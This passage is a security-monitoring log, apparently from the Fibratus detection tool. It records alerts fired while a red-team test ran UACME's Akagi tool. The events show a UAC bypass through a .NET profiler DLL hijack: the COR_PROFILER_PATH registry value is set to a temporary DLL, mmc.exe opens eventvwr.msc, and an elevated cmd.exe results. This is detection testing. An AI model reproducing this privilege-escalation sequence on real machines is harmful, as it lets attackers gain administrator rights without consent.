Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 51044 + Pid: 16756 + Tid: 16048 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:18:10.2871106 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 3fc3da000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808009519080, name➜ cmd.exe, pid➜ 788, ppid➜ 16756, real_ppid➜ 16756, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:18:10.2870314 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 16756 + Ppid: 17096 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:19:14+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 52974 + Pid: 8580 + Tid: 3224 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:19:13.8084954 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3879ac69b70, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 8580 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 53425 + Pid: 16180 + Tid: 12492 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:19:14.4853952 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 3b7514000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff8080041f3080, name➜ cmd.exe, pid➜ 16076, ppid➜ 16180, real_ppid➜ 16180, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:19:14.4853461 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004 + + Pid: 16180 + Ppid: 8580 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:19:23+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 53932 + Pid: 7464 + Tid: 17904 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:19:21.7334922 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3879ac69b70, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 7464 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program 